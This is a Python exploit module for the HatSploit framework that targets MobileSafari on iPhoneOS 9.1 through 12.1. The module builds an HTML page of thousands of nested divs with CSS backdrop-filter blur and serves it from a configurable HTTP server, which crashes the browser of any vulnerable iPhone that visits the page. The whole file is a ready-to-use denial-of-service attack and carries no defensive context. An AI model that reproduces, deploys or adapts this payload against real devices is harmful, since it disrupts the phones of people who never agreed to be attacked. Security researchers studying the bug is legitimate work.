#!/usr/bin/env python3

#
# This module requires HatSploit: https://hatsploit.netlify.app
# Current source: https://github.com/EntySec/HatSploit
#

from hatsploit.lib.module import Module
from hatsploit.lib.server import Server


class HatSploitModule(Module):
    server = Server()

    details = {
        'Name': "iPhoneOS Safari WebKit Filter DoS",
        'Module': "exploit/iphoneos/safari/webkit_filter_dos",
        'Authors': [
            'Ivan Nikolsky (enty8080) - module developer',
            'Sabri Haddouche (pwnsdx) -  vulnerability researcher'
        ],
        'Description': "iPhoneOS 9.1 till 12.1 MobileSafari.app WebKit Filter DoS.",
        'Comments': [
            ''
        ],
        'Platform': "iphoneos",
        'Risk': "high"
    }

    options = {
        'SRVHOST': {
            'Description': "Host to start http server on.",
            'Value': "0.0.0.0",
            'Type': "ip",
            'Required': True
        },
        'SRVPORT': {
            'Description': "Port to start http server on.",
            'Value': 8080,
            'Type': "port",
            'Required': True
        },
        'FOREVER': {
            'Description': "Start http server forever.",
            'Value': "no",
            'Type': "boolean",
            'Required': False
        },
        'URLPATH': {
            'Description': "File path on server.",
            'Value': "/",
            'Type': None,
            'Required': True
        }
    }

    @staticmethod
    def generate():
        div_line = '<div>' * 3500 + '</div>' * 3500

        payload = """
        <html>
            <head>
                <meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
                <style>
                    div {
                        backdrop-filter: blur(10px);
                        -webkit-backdrop-filter: blur(10px);
                        width:10000px; height:10000px;
                    }
                </style>
            </head>
            <body>
                """ + div_line + """
            </body>
        </html>
        """

        return payload

    def run(self):
        server_host, server_port, forever, url_path = self.parse_options(self.options)
        forever = True if forever.lower() in ['yes', 'y'] else False

        payload = self.generate()
        self.server.start_server(
            server_host,
            server_port,
            payload,
            forever,
            url_path
        )
